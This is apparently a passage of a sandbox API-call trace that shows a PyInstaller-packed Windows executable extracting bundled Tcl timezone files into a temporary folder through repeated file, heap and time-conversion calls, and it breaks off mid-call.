CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0042.675] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0042.675] GetFileType (hFile=0x10c) returned 0x1 [0042.675] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0042.675] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0042.675] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0042.675] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0042.675] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.675] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.675] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.675] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.675] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0042.675] CloseHandle (hObject=0x10c) returned 1 [0042.675] GetLastError () returned 0x0 [0042.675] SetLastError (dwErrCode=0x0) [0042.675] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0042.676] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0042.676] GetFileType (hFile=0x10c) returned 0x1 [0042.676] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0042.676] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0042.676] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0042.676] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0042.676] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.676] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.676] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.676] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.676] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0042.676] CloseHandle (hObject=0x10c) returned 1 [0042.676] GetLastError () returned 0x0 [0042.676] SetLastError (dwErrCode=0x0) [0042.676] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Europe") returned 63 [0042.676] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Europe" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\europe"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0042.676] GetFileType (hFile=0x10c) returned 0x1 [0042.676] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0042.676] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0042.676] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0042.676] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0042.676] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.676] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.676] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.677] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.677] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0042.677] CloseHandle (hObject=0x10c) returned 1 [0042.677] GetLastError () returned 0x0 [0042.677] SetLastError (dwErrCode=0x0) [0042.677] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Europe\\Rome") returned 68 [0042.677] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Europe\\Rome" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\europe\\rome"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0042.677] GetLastError () returned 0x2 [0042.677] SetLastError (dwErrCode=0x2) [0042.677] GetLastError () returned 0x2 [0042.677] SetLastError (dwErrCode=0x2) [0042.677] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Europe\\Rome", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Europe\\Rome", lpFilePart=0x0) returned 0x43 [0042.677] GetLastError () returned 0x2 [0042.677] SetLastError (dwErrCode=0x2) [0042.677] GetLastError () returned 0x2 [0042.677] SetLastError (dwErrCode=0x2) [0042.677] GetLastError () returned 0x2 [0042.677] SetLastError (dwErrCode=0x2) [0042.677] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Europe\\Rome") returned 68 [0042.677] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0042.677] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Europe\\Rome" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\europe\\rome"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0042.692] GetFileType (hFile=0x10c) returned 0x1 [0042.692] htonl (hostlong=0x21210000) returned 0x2121 [0042.692] WriteFile (in: hFile=0x10c, lpBuffer=0x561090*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x4fcd00, lpOverlapped=0x0 | out: lpBuffer=0x561090*, lpNumberOfBytesWritten=0x4fcd00*=0x2000, lpOverlapped=0x0) returned 1 [0042.693] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0042.693] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0x121, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd6c*=0x121, lpOverlapped=0x0) returned 1 [0042.693] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0042.693] CloseHandle (hObject=0x10c) returned 1 [0042.694] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0042.694] htonl (hostlong=0x30000000) returned 0x30 [0042.694] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0042.694] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0042.694] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0042.694] GetFileType (hFile=0x10c) returned 0x1 [0042.694] htonl (hostlong=0x10805c00) returned 0x5c8010 [0042.694] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x613010, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0042.695] htonl (hostlong=0x30020000) returned 0x230 [0042.695] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x230) returned 0x550600 [0042.695] htonl (hostlong=0x30020000) returned 0x230 [0042.695] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0042.695] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0042.695] htonl (hostlong=0x6b080000) returned 0x86b [0042.695] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x86b) returned 0x55e278 [0042.695] htonl (hostlong=0x30020000) returned 0x230 [0042.695] htonl (hostlong=0x6b080000) returned 0x86b [0042.695] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x561090 [0042.696] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0042.696] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0042.696] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0042.696] CloseHandle (hObject=0x10c) returned 1 [0042.696] GetLastError () returned 0x0 [0042.696] SetLastError (dwErrCode=0x0) [0042.696] GetLastError () returned 0x0 [0042.696] SetLastError (dwErrCode=0x0) [0042.696] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0042.696] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0042.696] GetFileType (hFile=0x10c) returned 0x1 [0042.696] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0042.696] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0042.696] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0042.696] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0042.696] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.696] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.696] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.696] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.696] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0042.696] CloseHandle (hObject=0x10c) returned 1 [0042.696] GetLastError () returned 0x0 [0042.696] SetLastError (dwErrCode=0x0) [0042.696] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0042.697] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0042.697] GetFileType (hFile=0x10c) returned 0x1 [0042.697] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0042.697] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0042.697] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0042.697] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0042.697] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.697] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.697] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.697] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.697] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0042.697] CloseHandle (hObject=0x10c) returned 1 [0042.697] GetLastError () returned 0x0 [0042.697] SetLastError (dwErrCode=0x0) [0042.697] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Europe") returned 63 [0042.697] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Europe" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\europe"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0042.697] GetFileType (hFile=0x10c) returned 0x1 [0042.697] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0042.697] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0042.697] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0042.697] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0042.697] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.697] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.697] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.697] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.698] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0042.698] CloseHandle (hObject=0x10c) returned 1 [0042.698] GetLastError () returned 0x0 [0042.698] SetLastError (dwErrCode=0x0) [0042.698] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Europe\\Samara") returned 70 [0042.698] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Europe\\Samara" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\europe\\samara"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0042.698] GetLastError () returned 0x2 [0042.698] SetLastError (dwErrCode=0x2) [0042.698] GetLastError () returned 0x2 [0042.698] SetLastError (dwErrCode=0x2) [0042.698] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Europe\\Samara", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Europe\\Samara", lpFilePart=0x0) returned 0x45 [0042.698] GetLastError () returned 0x2 [0042.698] SetLastError (dwErrCode=0x2) [0042.698] GetLastError () returned 0x2 [0042.698] SetLastError (dwErrCode=0x2) [0042.698] GetLastError () returned 0x2 [0042.698] SetLastError (dwErrCode=0x2) [0042.698] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Europe\\Samara") returned 70 [0042.698] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0042.698] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Europe\\Samara" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\europe\\samara"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0042.698] GetFileType (hFile=0x10c) returned 0x1 [0042.698] htonl (hostlong=0x6b080000) returned 0x86b [0042.698] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0042.698] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0x86b, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd6c*=0x86b, lpOverlapped=0x0) returned 1 [0042.699] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0042.699] CloseHandle (hObject=0x10c) returned 1 [0042.699] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55e278 | out: hHeap=0x530000) returned 1 [0042.699] htonl (hostlong=0x30000000) returned 0x30 [0042.699] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0042.699] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0042.700] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0042.700] GetFileType (hFile=0x10c) returned 0x1 [0042.700] htonl (hostlong=0x40825c00) returned 0x5c8240 [0042.700] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x613240, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0042.700] htonl (hostlong=0x8b000000) returned 0x8b [0042.700] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x8b) returned 0x55cfe0 [0042.700] htonl (hostlong=0x8b000000) returned 0x8b [0042.700] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0042.700] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0042.700] htonl (hostlong=0xae000000) returned 0xae [0042.700] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xae) returned 0x550600 [0042.700] htonl (hostlong=0x8b000000) returned 0x8b [0042.700] htonl (hostlong=0xae000000) returned 0xae [0042.700] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x561090 [0042.700] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0042.700] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55cfe0 | out: hHeap=0x530000) returned 1 [0042.700] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0042.700] CloseHandle (hObject=0x10c) returned 1 [0042.700] GetLastError () returned 0x0 [0042.700] SetLastError (dwErrCode=0x0) [0042.701] GetLastError () returned 0x0 [0042.701] SetLastError (dwErrCode=0x0) [0042.701] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0042.701] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0042.701] GetFileType (hFile=0x10c) returned 0x1 [0042.701] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0042.701] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0042.701] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0042.701] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: 